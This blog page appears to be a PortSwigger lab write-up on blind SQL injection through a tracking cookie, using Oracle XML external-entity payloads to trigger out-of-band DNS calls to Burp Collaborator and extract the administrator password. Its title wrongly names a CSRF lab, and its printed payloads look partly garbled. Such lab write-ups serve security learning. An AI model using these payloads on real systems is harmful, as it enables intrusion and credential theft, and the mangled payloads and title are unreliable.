Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token is duplicated in cookie

CSRF where token is duplicated in cookie: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie. • PortSwigger • Blind-SQLi • lab6, portswigger

2022-11-294 tags
Tags

Blind SQL Injection via Tracking Cookie


🎯 Objective

This lab contains a blind SQL injection vulnerability.
The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie.

  • The SQL query is executed asynchronously and has no effect on the application's response.
  • However, you can trigger out-of-band interactions with an external domain.

Database context:

  • The database contains a users table with columns: username and password.
  • Goal is to extract the password of the administrator user and log in.

📝 End Goals

  1. Exploit the SQLi vulnerability to retrieve the password of the administrator user.
  2. Log in as the administrator.

🔎 Analysis

  • Vulnerable parameter: tracking cookie
  • DBMS: Oracle (confirmed from previous exercises).

Step 1: Initial Attempt

Used the Burp Collaborator client to perform a DNS lookup with:

sql
'||(SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual)--

This query did not succeed.


Step 2: Working Payload

Tried the following union-based query instead:

sql
' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual--

This successfully triggered the out-of-band interaction.


Step 3: Verification

Checked the Burp Collaborator polling history and confirmed external DNS interactions:

Poll Results

Then confirmed successful hits inside the Burp Collaborator client:

Collaborator Client


🎉 Results

Successfully triggered OOB interaction and extracted data.
Password for administrator retrieved. ✅

Administrator Extracted

Navigate

In this post

  1. 01Blind SQL Injection via Tracking Cookie
  2. 02🎯 Objective
  3. 03📝 End Goals
  4. 04🔎 Analysis
  5. 05Step 1: Initial Attempt
  6. 06Step 2: Working Payload
  7. 07Step 3: Verification
  8. 08🎉 Results
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.